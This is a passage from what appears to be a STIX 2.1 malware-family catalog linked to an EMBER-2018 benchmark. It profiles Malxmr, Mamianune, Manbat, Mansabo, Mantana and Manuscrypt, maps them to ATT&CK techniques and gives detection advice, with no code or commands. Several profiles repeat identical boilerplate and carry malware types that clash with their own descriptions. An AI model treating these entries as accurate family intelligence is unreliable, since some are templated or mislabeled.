treat the incident as a potential high-severity breach until dynamic analysis proves otherwise.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely unknown until analysis is complete. The primary IoC is the quarantined file itself. Responders must rely heavily on EDR telemetry surrounding the time of execution. Look for where the file originated (e.g., downloaded via Chrome, extracted from a ZIP attached to an Outlook email), what child processes it spawned, what registry keys it modified for persistence (`T1547.001`), and what IP addresses it attempted to contact. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malwares",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malwares"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28061bd6-bdc6-5fba-bc0d-1695b07d043f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87c979e6-88c1-509b-866c-b7c0b49efc92",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwares exhibits technique T1027 (Obfuscated Files or Information (Often the reason for a generic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0fa862be-0d64-52b5-a05c-128f833ee475",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87c979e6-88c1-509b-866c-b7c0b49efc92",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwares exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--345efb2f-32a1-50de-aa0f-ee251495f520",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--87c979e6-88c1-509b-866c-b7c0b49efc92",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malwares exhibits technique T1055 (Process Injection (A common behavioral trigger for heuristic AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--125bce00-7b79-54fb-9d2b-4083f0f165be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Malxmr",
      "description": "<h3>Executive Summary</h3>\nMalXMR is a pervasive and highly optimized malicious cryptocurrency miner (cryptojacking malware) specifically engineered to illicitly mine Monero (XMR). By stealthily hijacking the CPU resources of infected endpoints and servers, MalXMR generates cryptocurrency for its operators, resulting in severe performance degradation, hardware wear, and dramatically increased power consumption for the victim organization.\n\n<h3>Technical Implementation and Execution</h3>\nMalXMR is frequently deployed as a secondary payload by initial access brokers, dropped by exploit kits targeting unpatched vulnerabilities (such as ProxyLogon or Log4Shell on servers), or distributed via malicious spam campaigns.\n\nUpon execution, MalXMR focuses entirely on stealth and maximum CPU utilization:\n<ul>\n<li><strong>Process Hollowing and Injection:</strong> It routinely injects its highly optimized mining payload (often a modified version of the legitimate open-source XMRig miner) into legitimate Windows processes like `svchost.exe`, `conhost.exe`, or `notepad.exe` to mask its execution from system administrators.</li>\n<li><strong>Resource Evasion:</strong> Advanced variants of MalXMR actively monitor user activity. If the user moves the mouse or opens the Windows Task Manager, the miner will immediately suspend its threads to drop CPU usage to normal levels, avoiding detection.</li>\n<li><strong>Stratum Protocol:</strong> The malware communicates with remote, anonymized mining pools utilizing the Stratum mining protocol, receiving block calculations and returning valid hashes.</li>\n</ul>\n\n<h3>Operational Impact</h3>\nMalXMR causes significant operational disruption. Infected machines suffer from extreme latency, overheating, and frequent crashes. In enterprise environments, widespread cryptojacking infections dramatically increase cloud computing costs (if AWS/Azure instances are infected) and accelerate on-premise hardware degradation.\n\n<h3>Detection and Remediation</h3>\n<ul>\n<li><strong>Performance Monitoring:</strong> Utilize endpoint management tools and cloud monitoring dashboards to alert on sustained, unexplained high CPU usage (often pinned at 90-100%) across multiple endpoints or server instances.</li>\n<li><strong>Network Traffic Analysis:</strong> Inspect outbound network traffic for connections utilizing the Stratum protocol (JSON-RPC over TCP) or connections to known cryptocurrency mining pools, often occurring over Port 3333 or Port 80/443 to blend in.</li>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Deploy EDR solutions configured to detect process hollowing and the execution of known mining binaries operating under the guise of legitimate system processes.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "CoinMiner.MalXMR",
        "Trojan.MalXMR",
        "Riskware.BitCoinMiner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Malxmr",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/malxmr"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ff51853-9ae4-56b3-a360-95a9d21b116e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--125bce00-7b79-54fb-9d2b-4083f0f165be",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malxmr exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1467cfb-65bf-5497-a6da-11512245b515",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--125bce00-7b79-54fb-9d2b-4083f0f165be",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malxmr exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--08d058bf-0a09-535d-919b-54b594251fc2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--125bce00-7b79-54fb-9d2b-4083f0f165be",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Malxmr exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mamianune",
      "description": "Trojan:Win32/Mamianune is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mamianune</b><br>To an end-user, a Mamianune infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mamianune is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mamianune is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mamianune frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mamianune reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mamianune",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mamianune"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd788ede-9ffa-59e1-bf6d-d93e3e5e4844",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mamianune exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e12ad830-bd15-5603-abde-76ef16ee9536",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mamianune exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19d82014-0414-5386-b939-1191e12e1456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mamianune exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a832b37a-afb2-5de2-8ad1-112a83d6fc8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mamianune exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--094a95cc-5159-54cd-a940-7e5453d7649b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b7dda26d-5680-540c-af3f-f754cd465612",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mamianune exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Manbat",
      "description": "Trojan:Win32/Manbat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Manbat</b><br>To an end-user, a Manbat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Manbat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Manbat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Manbat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Manbat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Manbat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/manbat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a43d990-3556-5d90-89b8-c59ac2809ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manbat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a85ddc14-890a-52aa-a74f-47d90c814dfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manbat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e76dd08b-3355-5a0b-be35-2838b04ae050",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manbat exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f2834a4-f337-5321-8a83-d1d5a4ef38b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manbat exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--45a6b77c-bd82-54aa-bb9f-ba63f623aa2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--441b8d57-033d-53fe-a2c5-6534b6226283",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manbat exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mansabo",
      "description": "Mansabo (cataloged by security researchers and antivirus engines under signatures including Trojan:Win32/Mansabo, Trojan.Win32.Mansabo, and Trojan:Win32/Mansabo!MSR) is a covert surveillance trojan and second-stage payload delivery agent first identified in 2015. Developed to target enterprise and consumer Windows workstations, Mansabo is commonly delivered via spearphishing attachments containing weaponized macros, cracked commercial software packages, and drive-by downloads from compromised websites. Once resident on a victim machine, Mansabo deploys advanced reconnaissance routines to query host network configuration, running processes, and installed security software. The malware features integrated surveillance modules capable of logging keystrokes, capturing screenshots during user desktop activity, and harvesting stored browser credentials and system tokens. Furthermore, Mansabo serves as an initial access stager, communicating over encrypted HTTP/HTTPS channels with attacker-controlled command-and-control servers to download and execute secondary post-exploitation frameworks such as Cobalt Strike beacons, ransomware precursors, and network discovery tools. (Observed samples in benchmark: 98)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Mansabo",
        "Trojan.Win32.Mansabo",
        "Trojan:Win32/Mansabo!MSR",
        "Win32/Mansabo"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mansabo",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mansabo"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--982bbdab-59d3-5f40-9d41-65da5044ec67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mansabo exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--82fb7883-1ccc-5ea0-bea5-7191c2a85711",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "target_ref": "attack-pattern--ad44e68a-29e4-5d0a-8752-ef97772c6508",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mansabo exhibits technique T1555.004 (Credentials from Password Stores: Windows Credential Manager)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac9f0a71-bba3-55c0-9f5a-8d24e72aee7f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mansabo exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38a8e298-38db-5307-b911-9ccea332a24a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mansabo exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c41cab7-b6e5-510c-a351-c92fc6fa543b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--75bcceab-0aeb-5c4e-9682-76f32ee1ed7e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mansabo exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mantana",
      "description": "Trojan:Win32/Mantana is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mantana</b><br>To an end-user, a Mantana infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mantana is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mantana is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mantana frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mantana reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mantana",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mantana"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e9461bb2-112f-5919-8be5-00af1220612a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mantana exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de98d95e-b284-5cbf-8595-a049eedfc8c3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mantana exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c23f6741-7723-57b9-a1b5-67a869e7ac4f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mantana exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--631500f4-efc1-5e5c-8e60-a2d8ffb024ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mantana exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--129e8ed4-e427-5f34-9eaa-02945722658d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d8b9c9a7-e30e-5322-a049-c02c910050b1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mantana exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76389ab5-d81d-52fc-b7d1-491f0dbd979d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Manuscrypt",
      "description": "Trojan:Win32/Manuscrypt (also known as Volgmer or FALLCHILL) is an extremely sophisticated malware family strongly associated with the North Korean state-sponsored APT group 'Lazarus' (Hidden Cobra). It is a highly customizable, modular implant designed for long-term espionage, data exfiltration, and maintaining persistent, covert access to high-value government, financial, and defense networks (`T1059.003`).<br><br><b>Understanding Manuscrypt (North Korean APT)</b><br>To an end-user, Manuscrypt is entirely invisible. For threat intelligence and incident response teams, detecting Manuscrypt is a critical emergency. It indicates a breach by a highly capable, well-resourced nation-state actor whose objectives may range from intellectual property theft to destructive attacks or financial heist (as seen in the SWIFT attacks).<br><br><b>Execution and Espionage Mechanics</b><br>Manuscrypt is deployed after initial access is gained (often via targeted spearphishing, exploiting internet-facing vulnerabilities, or watering hole attacks). It is characterized by heavy obfuscation, custom packing routines, and a modular architecture (`T1027.002`). It establishes persistence by disguiring itself as a legitimate Windows Service (often mimicking Microsoft Exchange or IIS services) (`T1543.003`). The malware communicates with its C2 infrastructure using custom, encrypted protocols over HTTP/HTTPS or via compromised proxy servers, blending in with legitimate traffic. It is capable of executing arbitrary commands (`T1059.003`), manipulating files, profiling the system, and deploying destructive modules if the actor chooses.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe state-sponsored espionage and potential catastrophic damage. Host-based IoCs include EDR alerts for suspicious service creation, highly obfuscated DLLs loaded into legitimate processes (Process Injection), and the presence of custom, encrypted configuration files in the Windows directory. Network IoCs involve encrypted beacons to hardcoded, often compromised legitimate infrastructure (acting as C2 proxies), and anomalous SMB traffic if the actor is pivoting laterally. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Manuscrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/manuscrypt"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--038337a8-9ccd-5389-9548-4269c1cdc746",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76389ab5-d81d-52fc-b7d1-491f0dbd979d",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Manuscrypt exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Mimicking legitimate services for stealthy persistence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f042920-7737-50aa-a23c-779d0a70ec15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76389ab5-d81d-52fc-b7d1-491f0dbd979d",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
